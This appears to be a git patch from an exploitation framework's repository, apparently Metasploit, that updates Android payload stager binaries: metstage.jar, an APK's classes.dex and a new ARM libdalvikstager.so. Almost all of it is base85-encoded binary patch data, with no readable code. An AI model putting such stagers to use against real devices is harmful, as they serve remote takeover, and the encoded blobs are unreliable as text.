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 XZE3=CIsrJ%Av3_?G>GcV|MmU{+qYQd diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 9a3d4d63152a411f0ef1545c9b25de6d6986e8c5..095c7b9a64a328b35850cdffccaaae6fcd8dca33 100644 GIT binary patch delta 1647 zcmV-#29Wv554#QyP)h>@6aWYa2mpm@XGD<>XC+(ka`AEj08mQ@2wpVAkVXIi07w7; z08mQ<1QY-W2nYa$YG*`|nj3$GmR)QVRTRh1%$GEUg4npsN)Ku(d)9 z)yh^#AWbL_GVD&%$0TP9JNh!&@|XGr|E!ZtyXy&Eh`L>A;7NEz}AIkNvGNB5T$qO4AI4f2Lc zbQAmq?tr`CZy;+#8Zf~oFac)43*cSwEw~D902#izzyR0_j)5|G5xfpQ2fu*p;5N7e z?t*`S7AG=53)l#Df`fnH2si;|!K>hH@ILqid;@*}SHW-KcW@ot1h;`=5Ve7Ruo(=2 zJlGE=!8CXloCasWIq(u#25*9Qz(?RS@RbqG8K#Qhns7^)Zc2b8XaOnEO3|FB0V_;9 z=m4Fd3#=2hc>rX=M$iZP!9&8oBgzGa{d5tBtRm48~(M`w{j}*_yy+=wW*t8}tM6tpwss#`}yko@j^e zXFKU4B@G9C{A>sMB#j<(54SVjx4PI9>i<2ld+ig7Z)tys$CUdwcA!l~rTb!W9>-C{ zVX_JuyA2h39D1K-pe;$`=-Y}_?prC$q;Iw0+6Q_K1$S(glScWNLWf`JF&;+W7+s>I z?pp@)VMP8Bi^b}fndpC`lQL#+LZ``uVP<-I6K13h^d{s;+jBA@am~+W=rwrHJl+3c z7iAKYDKmeOSwGo|>y}9i*L)^<#s=E2jmfSx{X0cp9qV1ju9w8#i1sM^N9(_Xq(Rb#UEd8yNE#z)f}{e;g)zY7G<6qj zzf=j_Qmz>Iq2q_SF(wzoJoVL^%Jz~M*ri-Gv}b>v+@upam2!n$^VEC)K1bL!Pd$Z_ z?VWW`=WO2(LOXN=KX-Jl5-e2n^kBWMx>OCF`P_bIam=%;)dIXQ&)tPn_E|gU2D$xq zXixa%T6iR^IQD#=QmakluE&RIzCTn8oBDRHw%u!Qi|n55&*nyhz;kRrPw6Hj4<=9T zYfXQ{10#9rT5GLG-ObJmnO_du@oy^=DU;ZnBNmT#tL+(9~3M zW<2;{rK*ONS}_dJ!D=eZAnQveFGHlqjvhOFfTSssrwXJ_74Rczn&ji7lsW$2wA+r~ zC*pgI^^i5YTz32tC5nxCAhqZPRfo0}gZY2Kc_*~1WiN0;rmjY~FIqQEL6csLmLA25 zLB(OW6{q0%)KWyvLgyK0fz_9^lH;L2=_P0JupQ2k<}A9^uu8ER)*NS7ZdYf#T6K<; znV?Lqvrf40WHs<=Vbqv{p{aDyePcdJc6~C~lIERAN9=B^QEZY^ECySuUY%~KIl*VhGw?sNqC;X6Fst)Ui!N%s`PlbmHau4U+D#gPf znqX4T+FlLGa&c&e)P;(RjOG%h3IG65O92rA6aW+e t2nYxOg=%L+UNppzlSl_X4uxuGM5-S$W8nn=0PqTvlm{;crUn22006oKAK(B0 delta 1790 zcmV@6aWYa2mn-Kyh4!W4zkP4t%)EJT-t6vFoON^0z7fjb4b1GWo45Y?W6QTQpL~D%{PiCmT{(a2 z_wv;?q8bsc&+X5W`2A`Uoub(O0QguU%0LdtMEIxMxb#8Z75CQ^qN@fJmFR#@Gzuoc zF>nIRg45tR@FF-57Qjp3J@5ti5&Q+Z;b#XJ2lK!OuYz~LC*W)F6SxD~5=4)IXTTY7 z9#p^*xBvoB2OHoe@D_jg5PS~42S0;fz;EDB@Hg|9BpLxlFbSr>JXisj!E4|OcoV!0 z-UlCn&%l@9I`|I!0&asl;2&UOO>>|J>;SvLKJW}U0ZxN?GhR2a)`qW_@Kd-bNi9r`w*?-Blc zTH-v;<4e(2V(X~W2$wQF!KFe^^PE#WPX!|;xooE?o_{QLthB_XMn#@a2OSZ49p&>R zXg^<*6b*CPK_`FtyeiG|HEE**d=27xEc{LLeB=8JM(pC!6f!|2z6J&z;x&!?tDwD?S65n%+us_B2 zj`j$7RtDLpq(L=122|| z)iLFvZQbya#Qx42-X57|jg;c$+p%Vzl|qbzsNSFv$6)aJmf*!nu(@;e8uJL-G48pG zd4^+I zm+zoD{AG_1z1~OJWzo; zKD#FD5;dP$iQ@N$C2HIyY?hFHE#sN&6=My=A>)5-p^ANK;Td4<-J}k$*a7LIuIEN$ zBu$VsMe-EtTq3zN0ZOElO0bpYsjp;vmB4o^g|hEOju#asm|TyFG}vgW*&9{gt`x$^ zUUCXEPUHl&fL)6;@c(_zvTKq0OBK6%$-PjpJ8yWGRP8V<<;uZ*(h-A)gq-gn~u6wK27WW$$He%w|leg zUVARKS8Z>pFz)+R$M%YpX)*F(iqv_(X>`|Ek$Ud8HlproX*jZ8c4{o=B4u05Cl^+n za&)f^QMumIX3{OT@w!{(p0~C%1K3IRL!YHVhBR|;mSC8Ck;S8$cBTK8LSi`KD zOkSE;SD$_H)De>ANS-T^Hdn%rq*omZ5} zPDxVagYxvcLXSxYpT=uztNPU8$H$HIw4xR>Zz%diW?GT=$-5P4Z_gNp>^FZ$$E19R zLc@luYKPjprM(%FHECu*>P_>n;4ADSFH6cRFRQO7B>CNhCVh~k<{6{)9oIO&viD-+ z469J{9II0EEUQuTJgZalOsiPJCwt%KIzUP$?_slJ0dXe(W3vYUwdWVv delta 86 zcmdnXx0jDEz?+#xgn@&DgCQhokJCiHbk*6Pi#`@HG6ZRF2yob$>1;m;BkIfzc&@~un From 66ff5998a5454f9a29926a4d6342d41c63120ca0 Mon Sep 17 00:00:00 2001 From: joe Date: Mon, 10 Mar 2014 18:50:27 -0700 Subject: [PATCH 06/58] New multi-arch stagers. --- data/android/apk/AndroidManifest.xml | Bin 3536 -> 3540 bytes data/android/apk/classes.dex | Bin 10700 -> 10040 bytes data/android/apk/resources.arsc | Bin 1088 -> 580 bytes .../libs/armeabi-v7a/libdalvikstager.so | Bin 0 -> 13436 bytes 